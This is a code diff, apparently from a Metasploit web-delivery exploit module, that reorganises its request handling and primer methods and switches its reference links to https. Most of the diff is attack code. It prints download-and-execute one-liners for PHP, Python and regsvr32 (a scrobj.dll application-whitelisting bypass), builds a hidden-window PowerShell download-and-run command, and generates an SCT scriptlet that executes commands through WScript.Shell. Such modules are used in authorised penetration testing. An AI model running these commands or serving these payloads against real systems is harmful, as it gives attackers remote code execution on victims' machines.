@@ -47,11 +47,11 @@ def initialize(info = {})
47
47
} ,
48
48
'References' =>
49
49
[
50
- [ 'URL' , 'http ://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html' ] ,
51
- [ 'URL' , 'http ://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ] ,
50
+ [ 'URL' , 'https ://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html' ] ,
51
+ [ 'URL' , 'https ://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ] ,
52
52
[ 'URL' , 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/' ] ,
53
- [ 'URL' , 'http ://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html' ] ,
54
- [ 'URL' , 'http ://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html' ] ,
53
+ [ 'URL' , 'https ://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html' ] ,
54
+ [ 'URL' , 'https ://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html' ] ,
55
55
] ,
56
56
'Platform' => %w( python php win ) ,
57
57
'Targets' =>
@@ -84,39 +84,43 @@ def initialize(info = {})
84
84
)
85
85
end
86
86
87
+
88
+ def primer
89
+ url = get_uri
90
+ print_status ( "Run the following command on the target machine:" )
91
+ case target . name
92
+ when 'PHP'
93
+ print_line ( %Q(php -d allow_url_fopen=true -r "eval(file_get_contents('#{ url } '));") )
94
+ when 'Python'
95
+ print_line ( %Q(python -c "import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{ url } ');exec(r.read());") )
96
+ when 'PSH'
97
+ print_line ( gen_psh ( url ) )
98
+ when 'Regsvr32'
99
+ print_line ( "regsvr32 /s /n /u /i:#{ url } .sct scrobj.dll" )
100
+ end
101
+ end
102
+
103
+
87
104
def on_request_uri ( cli , _request )
88
105
if _request . raw_uri =~ /\. sct$/
89
- print_status ( "Handling .sct Request" )
90
106
psh = gen_psh ( get_uri )
91
107
data = gen_sct_file ( psh )
92
- send_response ( cli , data , 'Content-Type' => 'text/plain' )
93
108
elsif target . name . include? 'PSH' or target . name . include? 'Regsvr32'
94
- print_status ( "Delivering Payload" )
95
109
data = cmd_psh_payload ( payload . encoded ,
96
110
payload_instance . arch . first ,
97
111
remove_comspec : true ,
98
112
exec_in_place : true
99
113
)
100
114
else
101
- print_status ( "Delivering Payload" )
102
115
data = %Q(#{ payload . encoded } )
103
116
end
104
- send_response ( cli , data , 'Content-Type' => 'application/octet-stream' )
105
- end
106
117
107
- def primer
108
- url = get_uri
109
- print_status ( 'Run the following command on the target machine:' )
110
- case target . name
111
- when 'PHP'
112
- print_line ( "php -d allow_url_fopen=true -r \" eval(file_get_contents('#{ url } '));\" " )
113
- when 'Python'
114
- print_line ( 'Python:' )
115
- print_line ( "python -c \" import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{ url } ');exec(r.read());\" " )
116
- when 'PSH'
117
- print_line gen_psh ( url )
118
- when 'Regsvr32'
119
- print_line ( "regsvr32 /s /n /u /i:#{ url } .sct scrobj.dll" )
118
+ if _request . raw_uri =~ /\. sct$/
119
+ print_status ( "Handling .sct Request" )
120
+ send_response ( cli , data , 'Content-Type' => 'text/plain' )
121
+ else
122
+ print_status ( "Delivering Payload" )
123
+ send_response ( cli , data , 'Content-Type' => 'application/octet-stream' )
120
124
end
121
125
end
122
126
@@ -125,13 +129,10 @@ def gen_psh(url)
125
129
ignore_cert = Rex ::Powershell ::PshMethods . ignore_ssl_certificate if ssl
126
130
download_string = datastore [ 'PSH-Proxy' ] ? ( Rex ::Powershell ::PshMethods . proxy_aware_download_and_exec_string ( url ) ) : ( Rex ::Powershell ::PshMethods . download_and_exec_string ( url ) )
127
131
download_and_run = "#{ ignore_cert } #{ download_string } "
128
- print_line generate_psh_command_line (
129
- return generate_psh_command_line (
130
- noprofile : true ,
131
- windowstyle : 'hidden' ,
132
- command : download_and_run
133
- )
134
- end
132
+ return generate_psh_command_line ( noprofile : true ,
133
+ windowstyle : 'hidden' ,
134
+ command : download_and_run
135
+ )
135
136
end
136
137
137
138
@@ -143,4 +144,4 @@ def rand_class_id
143
144
def gen_sct_file ( command )
144
145
%{<?XML version="1.0"?><scriptlet><registration progid="#{ rand_text_alphanumeric 8 } " classid="{#{ rand_class_id } }"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{ command } ",0);]]></script></registration></scriptlet>}
145
146
end
146
- end
147
+ end
0 commit comments